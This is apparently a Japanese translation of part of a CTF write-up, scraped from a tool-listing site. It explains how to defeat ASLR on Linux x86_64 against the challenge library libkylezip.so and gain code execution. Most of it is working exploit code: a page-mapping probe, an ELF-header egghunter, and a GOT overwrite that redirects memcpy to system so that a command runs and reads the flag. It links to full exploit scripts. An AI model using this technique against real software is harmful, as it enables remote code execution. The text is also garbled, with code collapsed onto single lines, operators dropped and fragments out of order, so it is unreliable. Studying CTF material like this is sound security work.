root@kitploit:~
0x00007f763c000000 と 0x00007f763ccaa000 の間の小さなギャップはバイナリサーチを台無しにしますが、もちろんそれでも実行可能です。ただし、私はもっと簡単な方法を見つけました。

### 観察

最後にマップされたアドレスを取得したい。なぜなら、そこにライブラリがマップされているからです。

例えば、ライブラリに対して以下のマッピングが与えられたとします:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

次のトリックでアドレス 7fe3d6a5b000 - 0x1000 を検索できます。

lastMappedPage = 0x7fe3d6a5a000

一度に半バイトずつブルートフォースするため、最悪のシナリオでは 165 = 80 クエリです。```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 エクスプロイト

最後に、メモリマッピングについて必要なことはすべて分かりました。あとは、write-what-where プリミティブをコード実行に活用するだけです。

コード実行を達成するために、libkyle.so の `memcpy@got` エントリを `system@libc` で上書きしました。

### libkyle ベースを取得
幸運なことに、libc ベースと libkyle.so ベースは lastMappedPage から一定のオフセットにあります。当時はそのことに気づかなかったので、`\x7fELF` \(ELF 実行ファイルのヘッダ\) を探す egghunter を書きましたが、結局役に立ちませんでした。```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

libkyleのmemcpy@gotを上書きしてRCEを取得する

幸運なことに、memcpy@gotをsystemで上書きするだけでフラグを取得し、そのおいしい報奨金を獲得するのに十分だった :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 フラグ!

エクスプロイトは[こちら](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py)にあります。

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

エクスプロイトの100%信頼できるバージョンも[こちら](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py)にあります。

## 5. まとめ

このwriteupを楽しんでいただけたなら幸いです。不明な点があれば、遠慮なく[@nick0ve](https://twitter.com/nick0ve)までご連絡ください :)
ツールをダウンロード
mem16tb境界クロス?
0x7fb03b55e010いいえ
0x7fa03b55d010いいえ
0x7f903b55c010いいえ
0x7f803b55b010いいえ
0x7f703b55a010いいえ
0x7f603b559010いいえ
0x7f503b558010いいえ
0x7f403b557010いいえ
0x7f303b556010いいえ
0x7f203b555010いいえ
0x7f103b554010いいえ
0x7f003b553010いいえ
0x7ef03b552010はい
0x7ee03b551010はい
0x7ed03b550010はい
0x7ec03b54f010はい

if (fstat(fd, &sb) != 0) { return NULL; }

/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

root@kitploit:~

print ('{:#x}'.format(get_off(0xffffffff, 0)))

Result = 0xffffffff00000001

That's the same as doing this

M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

print ('{:#x}'.format(get_off(0xffffffff, 0)))

root@kitploit:~
addressisAddressMapped?
0x7fe3f0000000No
0x7fe3e0000000No
0x7fe3d0000000Yes
0x7fe3df000000No
0x7fe3de000000No
0x7fe3dd000000No
0x7fe3dc000000No
0x7fe3db000000No
0x7fe3da000000No
0x7fe3d9000000No
0x7fe3d8000000No
0x7fe3d7000000No
0x7fe3d6000000Yes
0x7fe3d6f00000No
0x7fe3d6e00000No
0x7fe3d6d00000No
0x7fe3d6c00000No
0x7fe3d6b00000No
0x7fe3d6a00000Yes
0x7fe3d6af0000No
0x7fe3d6ae0000No
0x7fe3d6ad0000No
0x7fe3d6ac0000No
0x7fe3d6ab0000No
0x7fe3d6aa0000No
0x7fe3d6a90000No
0x7fe3d6a80000No
0x7fe3d6a70000No
0x7fe3d6a60000No
0x7fe3d6a50000Yes
0x7fe3d6a5f000No
0x7fe3d6a5e000No
0x7fe3d6a5d000No
0x7fe3d6a5c000No
0x7fe3d6a5b000No
0x7fe3d6a5a000Yes